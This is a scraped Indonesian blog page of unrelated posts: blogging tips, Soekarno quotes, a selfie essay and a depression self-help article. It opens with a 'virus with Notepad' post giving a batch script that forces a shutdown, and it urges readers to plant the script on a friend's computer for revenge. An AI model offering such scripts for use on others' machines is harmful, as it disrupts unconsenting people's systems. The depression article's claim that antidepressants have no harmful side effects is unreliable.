Dubstep Dance










Ketik Tulisan Anda disini

Cara Membuat Virus Dengan Notepad (cracking with notepad)


kumpulan Cara Hacker Komputer, berikut ini merupakan cara hack komputer yang super jail. cara ini sangat cocok buat balas dendam dengan teman Anda,
dibutuhkan Aplikasi Notepad untuk membuat Jebakan Atau Virus ringan hingga yang sangat mematikan. baiklah saya akan berbagi pengetahuan tentang Cara Hacker Komputer, berikut langkah-langkahnya : 

TRIK 1  Membuat Forced Shoutdown
-------------------------------------------------
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
-------------------------------------------------
simpan kode script yang
 berwarna Merah di Notepad dengan nama : xhack.BAT type file : All file
sebarkan File tersebut di Komputer teman Anda,
maka Komputer korban akan otomatis FORCED SHOUTDOWN


http://update-pesan.blogspot.com/2014/04/cara-membuat-virus-dengan-notepad.html


0 komentar:

25 Strategi yang Menjamin Blog Anda Sukses


Saya tanya kepada anda... apa tujuan anda membuat blog?
Jawaban anda pasti beragam. Tapi, saya yakin pada satu hal. Bagi anda yang
punya produk internet, tujuan blog anda pasti untuk menarik pengunjung dan
menjaring lebih banyak pelanggan. Betul?
Ok. Apapun tujuan anda membuat blog, anda pasti ingin blog anda bertraffic
tinggi. Ramai dengan komentar dan ada dalam peringkat top blogger. Maka ada
baiknya kalau kita ikuti strategi para ahli blogger yang telah lebih dulu mencapai
sukses.
Antara lain:

1. Kerja keras, kerja keras, dan kerja keras.
Blogger pemula sering mengira blogging itu mudah. Tapi, apakah benar-benar
mudah? Ini jawaban rasa penasaran anda:
• Blogging itu perlu waktu dan kerja keras untuk menghasilkan posting
yang kontinu.
• Perlu konsistensi.
• Perlu waktu untuk belajar banyak hal baru untuk mengelola blog anda.
Tetapi yang terpenting, semakin anda mengerahkan waktu dan upaya pada blog
anda, maka blog anda akan semakin baik dan makin populer. Jika anda hanya
duduk dan menunggu, tentu ini tidak akan membantu blog anda lebih baik.
Jadi kuncinya sabar dan kerja keras!

2. Jadilah ahli di bidangnya
Agar bernilai bagi pembaca, anda perlu tahu apa yang anda bicarakan. Untuk itu,
anda bisa belajar sendiri, atau jika anda seorang professional, berikan tips yang
berguna bagi pembaca anda.
Sebaiknya pelajari apa saja yang berkaitan dengan tema blog anda. Agar,
nantinya anda bisa membuat content yang tepat untuk pengunjung. Juga, semua
yang anda tulis jadi lebih berguna bagi pembaca anda.

3. Kenali audience anda
Untuk menjadi ahli di suatu bidang, anda harus tahu hal-hal ini…
• Apa yang paling ingin diketahui oleh pembaca.
• Gunakan kata-kata kunci yang sering digunakan pembaca anda.
• Temukan masalah-masalah yang mungkin dialami pembaca.
• Jangan sungkan membantu pembaca menyelesaikan masalah mereka.

4. Mulai menulis sekarang juga!
Jika anda ingin mendapatkan sesuatu, anda harus berusaha mendapatkannya
sekarang juga, bukan besok atau lusa!
Jika anda lamban, anda bisa saja kehilangan gagasan menarik yang ada di kepala
anda saat ini! Dan, anda akan tergilas masalah-masalah baru dalam hidup anda.
Akhirnya anda akan semakin lupa untuk menulis content blog anda!
Anda boleh punya sejuta alasan untuk tidak mengisi blog anda. Tapi, anda wajib
menyimpan gagasan anda. Sebisa mungkin buatlah draft agar anda tidak cepat
melupakan ide-ide brilian anda.

5. Banyaklah menulis
Banyak menulis akan memudahkan anda mendapat banyak pengunjung.
Mengapa? Simpel saja. Karena anda jadi produktif menulis. Dan, tulisan-tulisan
yang unik, berkualitas dan menarik hanya bisa tercipta dari mereka yang
produktif menulis. Nah, pengunjung itu hanya suka dengan content blog yang
berkualitas dan bermanfaat bagi mereka.
Ok... apa tulisan anda sekarang sudah berkualitas dan menarik? Kalau belum,
anda harus banyak menulis. Jika anda sudah puas dengan hasil tulisan anda,
jangan senang dulu.... Apakah traffic anda sudah sebanyak yang anda inginkan?
Apakah pembaca benar-benar menyukai posting anda? Kalau masih belum,
berarti anda harus terus menulis, menulis, dan menulis.

6. Simpan draft untuk posting anda
Ketika anda punya banyak waktu luang untuk menulis, maka menulislah
sebanyak-banyaknya. Setelah banyak menulis anda bisa menyimpan semua
tulisan di draft. Jangan publikasikan langsung semuanya. Anda bisa
mempostingnya saat sedang paceklik ide.
Ya, dengan punya draft berlimpah, anda punya lumbung ide dan artikel yang bisa
pakai kapanpun.
Misalnya...
• Saat anda perlu posting dengan tema yang sama, anda tidak perlu mencari
ide dari awal. Karena anda sudah punya gagasan yang tinggal anda gali
lebih lanjut.
• Saat anda sangat sibuk sampai tak bisa mengupdate blog, lumbung tulisan
ini akan sangat membantu anda.
Dengan frekuensi menulis yang cepat anda bisa membuat alur materi bacaan
yang konsisten bagi pembaca anda. Jadi anda tidak cuma memberikan posting
yang bermanfaat bagi pembaca anda. Tapi anda juga bisa menentukan waktu

yang tepat kapan harus memposting suatu artikel. ”The right posting in the right
time,” begitu kata orang Barat.

7. Tulis posting yang unik!
Tulis hal yang unik. Agar, pengunjung menjumpai hal berbeda dalam setiap
posting anda. Tentu saja, jika anda merasa tema itu belum cukup diulas, anda
bisa cari referensi yang lebih banyak untuk mengembangkan tulisan anda.


8. Tulis posting yang berdasar riset
Sebelum menulis ada baiknya anda melakukan riset kecil-kecilan atas tema yang
anda pilih. Ini perlu agar tulisan anda terlihat hidup, nyata dan tidak fiktif. Selain
itu, anda tidak akan terjebak dengan pemakaian kata ”mungkin atau kira-kira.”
Tahukah anda kalau penggunaan kata-kata tadi bisa melemahkan posisi anda?
Anda jadi terkesan tidak menguasai tema yang anda tulis! Dan, pengunjung tidak
akan percaya pada apa yang anda tulis. Oya, pengunjung itu lebih suka blog yang
isinya bukan cuma khayalan tapi benar-benar nyata dan bisa mereka terapkan.

9. Tulis posting yang ringkas Kenapa anda perlu membuat posting yang ringkas?
• Anda bisa menyampaikan pendapat dengan cara cepat. Pembaca tidak
perlu meraba-raba apa yang ingin anda sampaikan.
• Pembaca bisa mendapatkan tips-tips yang anda berikan secepat yang
mereka inginkan. Mereka suka menghemat waktu dan enggan membaca
hal yang tidak menarik minat.
• Memberi kesempatan pada pembaca untuk membaca sesuatu yang
berbeda
Selain itu, posting ringkas akan membantu pembaca memahami dan menyerap
apa yang anda tulis. Juga memudahkan mereka membuat bookmark, share atau
link ke posting anda.

10. Tulis dengan bahasa yang sederhana
Gunakan bahasa yang paling sederhana. Tujuannya agar pembaca bisa cepat
menangkap pesan anda. Sehingga pembaca juga yang berniat menyampaikan
pesan dalam tulisan anda kepada orang lain juga lebih mudah.
11. Tulislah secara personal
Dalam bisnis internet, antara pemilik blog dan situs web tidak bisa langsung
bertemu dengan pengunjung mereka. Tapi, pengunjung harus percaya dengan
apa yang mereka baca, apa yang anda tulis. Jadi perlakukan pembaca seperti
Visit: http://5 www.JokoSusilo.com
teman anda sendiri agar mereka lebih mengenal anda. Dan akhirnya mereka jadi
pembaca setia blog anda.

12. Tulislah judul yang hebat
Judul adalah pemikat. Jika anda bisa membuat judul yang langsung memaksa
pembaca jatuh hati, maka besar kemungkinan tulisan anda dibaca oleh mereka.
Maka anda perlu membuat judul yang memikat. Ya, agar pembaca bertekuk lutut
dan tidak melewatkan setiap kata dalam tulisan anda.

13. Tulis secara alami dan demi pembaca
Sebagian orang mengatakan bahwa anda harus menulis untuk search engine.
Maksudnya, anda menulis tema-tema yang paling dicari di search engine supaya
blog anda bercokol di deretan top rank.
Menurut saya ini tak sepenuhnya benar. Karena sebenarnya anda bisa menulis
apa pun yang anda inginkan asalkan tulisan anda itu benar-benar didedikasikan
untuk pembaca. Alasan saya begini:
• Jika anda sudah membidik target pasar tertentu untuk blog anda, maka
anda tidak perlu khawatir kekurangan pengunjung. Sebab pengunjunglah
yang akan mencari blog anda.
• Anda sudah tahu keyword apa yang sering digunakan target pembaca
anda.
• Anda menggunakan kata-kata alami dan tidak dibuat-buat dalam posting
anda. Dan sebenarnya inilah yang yang paling dicari oleh search engine.
• Yang paling penting, dengan mendedikasikan tulisan anda untuk
pembaca, maka tulisan anda pasti akan dibaca oleh mereka. Sebab mereka
butuh tahu informasi yang anda sampaikan.
• Dengan menulis secara alami, kata-kata yang muncul dalam tulisan anda
akan beragam dan tidak terkesan dipaksakan. Ini sangat menguntungkan
untuk meningkatkan traffic anda.

14. Format dulu posting anda
Jika anda ingin posting anda dibaca sampai akhir, tidak cukup hanya bermodal
dedikasi buat pembaca. Tetapi anda juga perlu memformat posting anda dengan
baik. Buat paragraf dan kalimat yang singkat. Gunakan juga list bullet dan
subheading. Supaya nyaman dilihat dan mudah dipahami.

15. Buat Link antara satu posting dengan posting yang lain
Anda ingin pembaca membaca semua posting dalam blog anda? Maka anda harus
membuat link untuk setiap posting yang sudah anda tulis. Cara ini selain

menambah pembaca, juga membantu blog anda mendapat top rank dalam search
engine.
16. Bisa juga membuat link dengan sumber di luar blog anda.
Seperti:
• Sejumlah riset, studi dan perbandingan
• Posting dari blog lain yang berguna, artikel atau forum threads
• situs web atau tool yang lain
Dengan begini anda menunjukkan perspektif yang lebih luas pada pembaca.
Sangat membantu mereka pula untuk memahami content anda secara lebih
mendalam. Terlebih jika anda menghubungkan tulisan anda dengan artikel lain,
pembaca bisa memahami sudut pandang penulisan anda.
Selain itu, kalau pembaca mengklik link luar yang anda cantumkan, anda akan
mendapat dua ucapan terimakasih. Pertama, dari pemilik situs web, blog atau
artikel yang anda link-kan. Mereka senang karena ada tambahan pembaca.
Sedang dari sisi pembaca sendiri, mereka senang karena mendapat informasi
baru yang berguna buat mereka. Blog anda mengantarkan pembaca pada
informasi yang mereka inginkan.

17. Bertujuan membantu orang lain
Meskipun banyak orang membaca blog hanya untuk senang-senang atau
hiburan, tapi banyak juga yang membaca blog karena mencari solusi atas suatu
problem yang harus dipecahkan. Maka anda perlu mengidentifikasi masalahmasalah
pembaca dan bantu mereka memecahkannya. Dengan demikian posting
anda jadi sangat bermanfaat untuk pembaca.

18. Baca blog lain
Membaca blog orang lain akan membantu anda menulis konten yang lebih baik.
Selain itu, dengan membaca blog lain, anda bisa menemukan:
• Lebih banyak ide untuk ditulis.
• Lebih banyak yang bisa di-link-kan dengan blog anda
• Lebih banyak teman untuk berdiskusi
• Tempat untuk memberikan komentar dan mendapatkan pembaca baru.

19. Bergaul dengan blogger lain
Ketika menjelajahi beberapa blog, anda akan menemukan banyak blogger yang
memiliki minat yang sama dengan anda. Dengan menuliskan komentar ke blog
mereka, mereka akan melakukan hal yang sama pada blog anda. Bahkan kalau
blogger lain mengganggap content anda menarik, tak segan mereka akan
membuat link ke blog anda.

20. Memperkokoh pengaruh anda.
Dengan melakukan semua hal di atas secara konsisten perlahan blog anda akan
menancapkan pengaruhnya di dunia maya. Setelah ini anda rasakan, akan sangat
membantu anda untuk:
• membantu menyebarkan gagasan anda.
• melakukan inovasi untuk mengembangkan blog anda.
• melakukan promosi produk
• atau menjalin kerjasama dengan pebisnis lain.

21. Jangan pelit, berbagilah!
Jika anda ingin ide dan posting anda menyebar luas, maka tanamkan hal berikut
ini dalam benak anda:
Tidak ada orang yang rela menyebarkan suatu gagasan kecuali :
• Mereka memahaminya
• Mereka ingin menyebarkannya
• Mereka yakin bahwa dengan menyebarkannya mereka mendapat
manfaat seperti reputasi, income, dan persahabatan.
• Keuntungan yang didapatkan jauh lebih besar dibanding biaya yang
diperlukan untuk menyebarkannya.
Tidak seorang pun mau menerima suatu gagasan kecuali :
• Gagasan yang disebarkan menarik dan membuat rasa penasaran.
• Mereka sudah memiliki landasan untuk siap mendapatkan gagasan
baru
• Mereka percaya pada penyebar gagasan.
Pada dasarnya, anda tidak cuma perlu mempunyai posting yang bermanfaat bagi
pembaca. Tapi anda juga perlu berbagi cerita dan pengalaman anda pada
pengunjung anda.
Oya, anda bisa menggunakan social bookmarking buttons untuk mengingatkan
orang lain mem-bookmark posting anda. Anda juga bisa berbagi di situs web
yang sering pembaca kunjungi. Kenapa harus berbagi di situs orang lain? Agar
anda bisa memperluas target pasar anda.

22. Bergabung dalam social site.
Jika anda ingin :
• menjadi terdepan dalam bisnis anda
• membaca banyak hal menarik
• bertemu banyak orang yang mempunyai minat sama

Maka bergabunglah dalam social site yang cocok dengan topik blog anda.
Contohnya, untuk blogger yang juga berkecimpung dalam internet marketer,
SEO, dan Web designer anda bisa mencoba.
• Sphinn (Search Engine Marketing)
• PlugIM (Internet Marketing)
• Del.icio.us (beragam topic)
• Tweako (Web Developer)
• Dzone (Web developer)
Dan perlu juga saya tulis di sini adalah StumbleUpon. Ini karena :
• anda bisa melihat site yang sesuai dengan minat anda
• anda dapat bertemu orang lain dengan minat yang sama
• anda bisa mendapat pengunjung untuk situs web anda.
Mencari relasi online itu perlu! Bahkan wajib hukumnya bagi para pebisnis
internet. Dengan berpartisipasi dalam social network anda bisa menjumpai
banyak orang yang minatnya sama dengan anda.
Anda juga bisa bertemu dengan blogger lain yang memiliki kesamaan topik blog
dengan anda. Dan akhirnya, mereka akan mulai mengunjungi blog anda. Bahkan
mungkin mereka akan menambahkan posting anda ke social network, karena
mereka suka dengan posting anda dan mengenal anda dari social site yang anda
ikuti.

23. Berbagilah mengenai siapa diri anda.
Anda perlu berbagi tentang kisah anda sendiri. Anda juga perlu menceritakan
siapa anda dan apa yang anda lakukan. Tentu, cerita anda itu harus pantas untuk
diceritakan. Karena ini akan berdampak positif bagi citra anda. Jadi sebaiknya...
• berbagi dengan orang-orang yang anda kenal
• berikan situs social bookmarking yang relevan. Gunakan judul dan
penjelasan yang deskriptif dan menarik.
Tapi, anda juga perlu hati-hati. Jika anda tidak yakin cerita anda ini bisa
mendongkrak citra anda, sebaiknya jangan lakukan. Karena sebaliknya yang
terjadi reputasi anda bisa hancur.

24. Buatlah blog yang mudah dibaca dan digunakan
Mudah tidaknya pengunjung mencerna tulisan dan bernavigasi di blog anda akan
menentukan tingkat traffic anda. Selain itu anda sebaiknya mempunyai fitur
menarik di situs web anda. Agar pembaca senang berada di halaman web anda.
Oleh karenanya, anda bisa ...
• memberi nama kategori anda dengan menggunakan kata-kata yang
berhubungan dengan pengunjung anda.
• Membuat kategori yang jelas dan berbeda
• Menawarkan posting yang berhubungan dengan posting anda
• Menggunakan ukuran font terbaik. Biasanya Verdana 10 pt.
• Buat Link antara posting anda sekarang dengan posting sebelumnya
• Buat blog anda rapi, jangan terlihat kacau balau. Kalau pun menggunakan
plug in, cukup gunakan plug in yang paling perlu seperti untuk
menampilkan posting terbaru, posting yang berhubungan, dan tombol
social bookmark.

25. Lakukan semuanya.
Ingat dan tancapkan dalam pikiran anda, bagaimana memulai membuat blog,
mendatangkan pembaca, menjaga hubungan dengan blogger lain, sampai
kemudian anda bisa mendapatkan keuntungan. Anda harus mengingat semua hal
penting tadi. Ini penting untuk membantu anda membangun sebuah blog hebat.
Sehingga blog anda memang pantas untuk dikunjungi dan anda mendapatkan
keuntungan dari kepopuleran blog anda.
untuk lebih lengkapnya,silahkan kunjungi :www.JokoSusilo.com


Back To Ashif Maulana

0 komentar:

9 Jurus Gombal Presiden Soekarno



Bukan hanya zaman sekarang cowok-cowok pada gombal dan sering banget bikin puisi buat cewek idamannya. Zaman dulu pun, Presiden Soekarno ternyata juga memiliki jurus andalan bergombal untuk memikat hati isteri-isterinya. Berikut ini adalah jurus gombal puitis yang dilontarkan Sang Orator ulung terhadap isteri-isterinya :

Soekarno pada Hartini

1) “Tuhan telah mempertemukan kita Tien, dan aku mencintaimu. Ini adalah takdir."
2) “Tien, I can’t work without you. Meski kamu istri kedua (setelah Fatmawati-red), kamu tetap istri saya yang sah. Biarpun kamu tidak tinggal di Istana Negara, kamu tetap mejadi ratu. Kamu akan menjadi ratu yang tidak bermahkota di Istana Bogor.”

http://update-pesan.blogspot.com/2014/04/cara-membuat-virus-dengan-notepad.html

0 komentar:

SELFIE

Eileen Rachman & Sylvina Savitri
EXPERD     
CHARACTER BUILDING TRAINING

Pernahkah mengamati, berapa banyak foto diri yang kita unggah di social media? Demi mendapatkan satu foto diri yang keren untuk diletakkan di soc-med, tak jarang kita  melakukan beberapa kali jepretan sampai mendapatkan hasil ‘image’ diri yang kita ingin tampilkan, bukan? Kita jelas tahu betapa dalam hal ini kita tidak sendirian. Bila kita mengecek kode #selfie di instagram, maka tidak kurang dari 31 juta foto ada di databasenya. Ditambah lagi, berjuta foto dengan hashtag #me. Tidak mengherankan bila Oxford University Press menyebutkan “selfie” sebagai “word of the year” di tahun 2013 lalu. Penggunaan kata ini meningkat 17.000% dalam periode 10 tahun! Bukan saja orang biasa yang ingin populer, melakukannya, karena Rihanna dan Justine Bibier, juga terkenal hobi memuat selfie mereka di media masa. Gejala apakah ini? Kita bisa melihat, betapa saat sekarang kita secara instan bisa mengendalikan bagaimana kita ingin dipandang orang secara fisik.

Self portrait ini, jaman dulu dilakukan dengan rumit. Kadang menggunakan cermin atau lukis diri, atau gambaran kartun tentang diri sendiri. Saat sekarang, ponsel yang paling murah pun sudah mempunyai fasilitas potret diri, yang praktis. Bahkan, alat seharga 250 ribu untuk memotret diri sendiri, yang disebut “tongsis” atau ‘tongkat narsis’, menjadi demikian populernya, karena bisa membangkitkan keceriaan bersama. Di saat yang sama, kita sebetulnya menyadari bahwa “selfie” tidak selalu mengundang tawa atau keceriaan. Bahkan, Ibu negara Amerika, sampai-sampai pernah dikabarkan runyam rumah tangganya, ketika suami melakukan ‘selfie’ dengan ‘orang lain’. Beberapa ahli psikologi yang melakukan studi mengenai gejala baru yang kita kenal tidak lebih dari 10 tahun terakhir ini, berpendapat bahwa gejala mem’posting’ potret diri ini bukan trend, tetapi akan tetap ada. Namun, bisakah kita membayangkan bila kita melakukannya secara dominan setiap hari? Pernahkah kita memikirkan ‘reputasi’ kita di mata orang lain, bila kita terpaku pada image diri sampai terlihat tidak memikirkan kegiatan lainnya, tidak memiliki minat lainnya, atau bahkan tidak terasa memiliki minat pada orang lain? Pertanyaannya, apakah kita bisa memanfaatkan promosi diri ini menjadi hal yang positif?
Potret Diri yang Bermakna
Kegiatan memotret diri dan mempublikasikannya ini memang kegiatan unik. Bila kita pada masa kecil sering diingatkan orang tua untuk bersikap rendah hati dan tidak menonjolkan diri, maka tindakan selfie ini bisa merupakan sesuatu yang baru dan asing, meski tidak dipungkiri bisa kita nikmati juga. Kegiatan ‘selfie’ ini kadang memberi kesempatan pada kita untuk melihat dan menampilkan diri kita dari lebih banyak sisi: sisi lucu, sisi artistik, sisi glamor atau yang lain. Kita, maupun orang lain, seolah-olah bisa menemukan ‘the new me’ melalui selfie. Bisa jadi, inilah saatnya, individu bisa ‘menjual’ dirinya, tanpa banyak bicara melalui narasi ataupun bukti bukti. Tentunya, kita perlu mengingat bahwa ini hanya langkah awal dari identifikasi diri. Karena sesudahnya kita dituntut oleh lingkungan sekitar kita, dan dipertanyakan  ‘so what’ atau ‘now what’-nya.
Seorang teman yang hobi membaca dan mengikuti instagram atau facebook  teman-temannya, pernah mengatakan: “Ada instagram yang bisa membuat mata relaks, karena variasi, dan karena ‘stories’ yang terkandung di  dalamnya’. Sebaliknya, foto diri bisa menjadi sangat hambar, bila tidak disertai keterangan-keterangan yang menyertai gambar-gambar tersebut. Ini berarti wajah, kita bisa menjadi pembuka ceritera yang lebih panjang dan berbobot. Foto diri yang kita pajang adalah sebatas ‘cover’-nya. Isinya harus kita sediakan, apakah melalui foto-foto lain, yang akan menuntut otak bagian kanan untuk mengamatinya. Inilah gunanya memberi konteks pada gambar wajah kita. Sedang di mana kita, apa concern kita, bagaimana kita melihat dunia, dan bagaimana dunia melihat kita. Tentunya bila ekspresi diri ini dibuat ‘berceritera’, ia sungguh akan menjadi tontonan yang menarik bagi yang mengikuti. Kita yang awam sekalipun bisa membedakan rangkaian foto yang itu-itu lagi dan ‘basi’, monoton atau ‘tidak berceritera”, dengan rangkaian foto yang mencerminkan minat yang luas, intelektualitas dalam mencermati situasi sosial, bahkan kebanggaan pada profesi yang menyentuh. Bukankan ini jauh lebih luas daripada sekedar promosi diri?
Eksplorasi Diri
Kita ini memang mahluk sosial yang membutuhkan validasi sosial. Kita ingin dihargai, diapresiasi, dimasukkan dalam kelompok yang kita inginkan. Citra sosial, belakangan ini sudah dianggap oleh kebanyakan orang sesuatu yang penting. Bahkan Robert Hogan, ahli psikologi kawakan, sudah menganggap bahwa kita bisa menganggap bahwa citra sosial itu  adalah bentuk kepribadian yang sah. Kita tidak terlalu perlu mendalami masa kecil kita dan menggambarkan kepribadian kita berdasar histori kita. Hal yang penting saat sekarang adalah kesadaran atau self-awareness kita terkait bagaimana kita melihat diri kita, bagaimana ‘bright side’ atau reputasi kita di mata orang lain, dan apakah potret diri yang kita tampilkan sekaligus bisa meningkatkan kesadaran kita akan hal-hal yang bisa menghambat efektivitas kita dalam menjalin hubungan, berelasi atau berkinerja efektif.
Mengamati foto diri kita sebetulnya juga bisa memancing kita untuk mengeksplorasi apa nilai-nilai yang kita miliki, bagaimana nilai-nilai kita bisa membantu kita menemukan kegiatan yang produktif. Kita juga perlu belajar melihat bagaimana reaksi-reaksi kita bila ‘under pressure’ yang kadang tidak sama dengan apabila kita menghadapi situasi yang biasa. Mengenal potret diri kita yang sesungguhnya ini, sama seperti membuat selfie, namun bisa memberi impact positif karena memberi kesempatan bagi kita untuk menyesuaiakan reaksi-reaksi kita sehingga positif dan bisa pas dengan berbagai situasi sosial maupun interpersonal yang kita hadapi.

sumber : http://www.kompaskarier.com/tips/rsimple/347/SELFIE

0 komentar:

Bagaimana Mengatasi Depresi dan Mengubah Hidup Anda

depresi
Depresi dapat memiliki dampak negatif pada hidup anda. Depresi merupakan perasaan yang dialami oleh setiap orang pada satu masa dalam kehidupan mereka. Artikel ini menjelaskan bagaimana mengatasi depresi dan mengubah hidup anda dengan menyingkirkan efek-efek negatif yang muncul dari depresi.
Perasaan-perasaan negatif seperti kesedihan, kekhawatiran, dan frustrasi merupakan perasaan-perasaan yang umum dirasakan oleh banyak orang. Merupakan suatu hal yang wajar jika anda merasa kecewa setelah mengalami kegagalan, sedih, perpisahan atau kehilangan.
Sekali lagi, perasaan-perasaan tersebut adalah hal yang wajar dan dalam beberapa kejadian, perasaan-perasaan tersebut justru dapat digunakan untuk keuntungan kita karena perasaan-perasaan tersebut menunjukkan kelemahan kita. Pengalaman yang muncul dari kondisi negatif dalam hidup kita tersebut memberikan kita keberanian dan kemauan untuk mengubah hidup kita serta kekuatan untuk menangani depresi dan situasi negatif lainnya di masa yang akan datang.
Ketika perasaan negatif semacam ini terus menerus muncul, bertahan lebih dari dua minggu, dan mulai mengganggu kegiatan sehari-hari kita, pekerjaan, diet, tidur dan hubungan kita; maka kemungkinan besar kita mengalami depresi dan kita harus menemukan cara untuk mengatasinya. Karakteristik utama depresi adalah perasaan negatif dan kesedihan yang sangat mendalam dan terjadi dalam waktu yang lama.

Apa Gejala-Gejala Utama Depresi Yang Muncul Dalam Kehidupan Kita?

- Duka berkepanjangan
- Stamina rendah dan sering merasa letih
- Bertambah atau berkurangnya nafsu makan
- Bertambah atau berkurangnya keinginan untuk tidur
- Stress, cepat marah dan frustrasi
- Tidak ada hasrat seksual
- Tidak memiliki harapan terhadap masa depan

Apa Penyebab Utama Depresi?

Kurang Berpikir Positif

Ketika seseorang mengalami depresi, mereka merasa bahwa sesuatu yang buruk akan terjadi, dan hal ini akan terjadi berulang kali. Dalam kejadian semacam ini, orang tersebut melihat lebih banyak hal buruk terhadap sesuatu; secara sadar maupun tidak sadar. Mereka selalu memfokuskan perhatian mereka pada masalah dan mengabaikan keberhasilan serta kesuksesan yang mereka raih.
Bagi seseorang yang berpikiran negatif dan memiliki kecenderungan depresi, segala hal yang terjadi merupakan cermin dari permasalahan dan kemunduran. Perubahan dalam diri seseorang atau perubahan lingkungan, yang merupakan perubahan wajar, dalam pikiran seseorang yang depresi merupakan bukti bahwa sesuatu yang buruk terjadi karena mereka.

Kurangnya Rasa Percaya Diri

Orang-orang yang depresi tidak memiliki rasa percaya diri dan mereka selalu menganggap semua yang terjadi sebagai kegagalan mereka. Bahkan kesalahan sekecil apapun mereka anggap sebagai masalah besar dan mereka hal-hal tersebut menguras perhatian mereka jauh lebih besar dari orang pada umumnya.

Lebih memperhatikan kesalahan

Dalam kehidupan, kita pasti melakukan kesalahan; beberapa orang membuat lebih banyak kesalahan. Orang yang menderita depresi lebih memfokuskan diri pada jumlah kesalahan yang mereka buat. Sebagai hasilnya, mereka menciptakan kesan negatif mengenai kesalahan.

Merasa Tertekan karena Berbagai Kewajiban Dalam Hidup

Dalam situasi ini, orang-orang selalu berpikir apa yang seharusnya mereka lakukan dan tidak seharusnya mereka lakukan. Hasilnya, di penghujung hari mereka terbebani oleh sejumlah komitmen. Orang-orang dengan pola pikir semacam ini mengkonsentrasikan pikiran mereka pada kepahitan dan frustrasi dan juga mempengaruhi perilaku orang-orang di sekitar mereka.

Merasa Lemah

Permasalahan bagi orang yang mengalami depresi adalah mereka merasa tidak ada satu hal pun yang bisa memuaskan mereka. Bahkan ketika mereka menyadari mereka bisa memperbaiki mood mereka, mereka tidak melakukannya. Nasihat yang mereka peroleh dari teman-teman dan keluarga dianggap tidak perlu dan tak berguna. Satu hal yang paling mereka rasakan adalah ketidakmampuan mereka untuk berharap, atau terinspirasi oleh sesuatu dan memperhatikannya.
Mereka menyadari seperti apa diri mereka dalam keadaan normal namun mereka tidak menyukainya. Mereka menyadari apa yang seharusnya mereka lakukan namun mereka tidak mampu melakukannya. Mereka menyadari apa yang orang lain inginkan dari mereka, namun mereka tak mampu memberikannya. Mereka tidak berharap pada suatu waktu keadaan akan membaik. Mereka kehilangan harapan dan harapan perlahan hilang dari diri mereka. Pada titik ini, depresi tidak membiarkan mereka merasakan kebahagiaan dan optimisme.

Bagaimana Kita Mengatasi Depresi?

Kita bisa mengatasi depresi dengan bantuan seorang spesialis. Nasihat yang diberikan seorang spesialis dapat sangat bermanfaat. Pengobatan yang diberikan bertujuan untuk memperbaiki mekanisme biologis dalam pola pikir yang memungkinkan seseorang merasa depresi. Untuk mengatasi depresi dengan efektif, anda harus merubah pandangan dan pola pikir anda. Dengan mengubah pola pikir bagi mereka yang menderita depresi, anda bisa menciptakan perlindungan jangka panjang terhadap depresi.

Bagaimana Mengatasi Depresi dengan Mengandalkan Diri Sendiri?

Selain bantuan dari seorang spesialis, anda bisa mengatasi depresi dengan mengandalkan diri anda sendiri; antara lain dengan:

Menerima Diri Anda Sendiri dan Kelemahan Anda

Jika anda tidak mampu mengatasi depresi seorang diri dan jika usaha anda tidak berhasil, hal terbaik yang bisa anda lakukan adalah dengan menerima kekurangan tersebut. Daripada mencoba mengubah hidup anda dengan paksa, anda harus menerima diri anda, dengan apa yang anda rasakan dan berkonsentrasi pada hal-hal yang anda mampu lakukan.
Depresi akan lenyap namun kita tidak bisa memprediksi kapan depresi akan terjadi. Kemajuan terapis tergantung pada banyak faktor. Anda tidak perlu mencoba mengubah hal-hal yang memang tidak bisa anda ubah. Setiap kali anda harus melakukan yang terbaik untuk membantu diri anda sendiri namun di saat yang bersamaan anda juga harus menerima kelemahan anda.
Terimalah fakta bahwa anda sedang mengalami depresi dan hiduplah berdampingan secara harmonis hingga anda berhasil mengatasinya. Tidak ada seorang pun yang suka merasa depresi, namun anda harus memahami bahwa tidak ada gunanya untuk terus menerus mengatasi depresi pada titik ini karena anda belum memiliki kekuatan, determinasi, dan keinginan untuk maju. Cobalah untuk menerima apa yang sedang terjadi dalam diri anda dan sekitar anda dan tunggulah hingga kekuatan anda kembali dan anda merasa mampu untuk mengatasi depresi.

Kenali Pikiran-Pikiran Serta Perasaan Negatif Anda

Supaya anda mampu mengubah dan mengendalikan pikiran negatif yang membuat anda terperangkap dalam siklus depresi, sangatlah penting bagi anda untuk mengenali alasan-alasan tersebut, yang merupakan penyebab utama anda merasa depresi.
Teknik yang dapat digunakan adalah dengan mencatat pikiran negatif anda setiap hari selama beberapa waktu. Lalu anda bisa menghabiskan waktu kira-kira 20 menit setiap hari untuk mengenali, mengelompokkan, dan memeriksa pikiran-pikiran negatif tersebut. Catatan pikiran-pikiran anda dan pemeriksaan atas penyebab rasa depresi tersebut akan membuat anda mampu mengenali alasan mengapa anda terdorong ke keadaan mental yang buruk dan berakhir dengan depresi. Dengan mengenali pola pikir negatif tersebut, anda mampu mencegah, dan memperbaiki bahkan menghentikan siklus depresi.

Bagaimana Mengatasi Depresi Dengan Pengobatan

Meskipun anda memiliki alasan yang tepat untuk menghindari penggunaan obat yang berlebihan, anda bisa mengatasi depresi dengan menggunakan obat-obatan; khususnya obat anti depresi.
Obat anti depresi mempengaruhi otak dan sel-sel syaraf. Secara lebih spesifik, obat-obatan bekerja dengan mengubah reaksi kimia (neurotransmitter), yang digunakan sel syaraf untuk berkomunikasi satu sama lain.
Obat anti depresi merupakan obat yang aman untuk digunakan. Obat semacam ini tidak menimbulkan ketergantungan; tidak mempunyai efek samping yang berbahaya dan dapat membantu anda mengatasi depresi. Tujuan menggunakan obat anti depresi bukanlah untuk mengatasi masalah anda dengan cepat, namun untuk memberikan diri anda kesempatan untuk merasa lebih baik.
PERHATIAN: penggunaan obat anti depresi apapun harus dilakukan setelah konsultasi dan pemberian resep dokter.

Bagaimana Mengatasi Depresi Menggunakan Psikoterapi – Cara Terbaik untuk Mengatasi Depresi

Depresi merupakan indikasi bahwa anda memiliki masalah dalam diri anda yang harus anda temukan solusinya. Depresi bukan hanya sekedar penyakit, melainkan sinyal dari otak yang harus anda pecahkan.
Mengatasi depresi harus anda lakukan sebagai cara untuk mengembangkan diri anda dan imbalan untuk mengubah hidup, otak, dan pola pikir anda.
Ahli Psikoterapi dapat membantu anda memahami alasan-alasan psikologis yang menyebabkan depresi dan menawarkan anda dukungan untuk melalui proses yang sulit tersebut.

Psikoterapi Dapat Membantu Anda Mengatasi Depresi Melalui:

- Menyelidiki pemicu depresi dalam pikiran dan sikap anda secara lebih mendalam
